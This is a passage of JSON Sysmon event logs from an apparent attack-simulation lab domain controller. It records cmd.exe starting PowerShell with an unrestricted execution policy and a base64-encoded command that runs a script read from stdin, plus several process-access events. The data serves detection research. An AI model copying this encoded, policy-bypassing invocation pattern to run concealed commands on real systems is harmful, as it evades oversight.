AEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.893","ProcessGuid":"{90617006-416D-5F2D-0000-001026040800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-416D-5F2D-0000-001050030800}","ParentProcessId":"3468","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001050030800}\r\nSourceProcessId: 3468\r\nSourceThreadId: 3392\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001026040800}\r\nTargetProcessId: 4732\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-416D-5F2D-0000-001050030800}","SourceProcessId":"3468","SourceThreadId":"3392","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001026040800}","TargetProcessId":"4732","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001026040800}\r\nTargetProcessId: 4732\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001026040800}","TargetProcessId":"4732","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 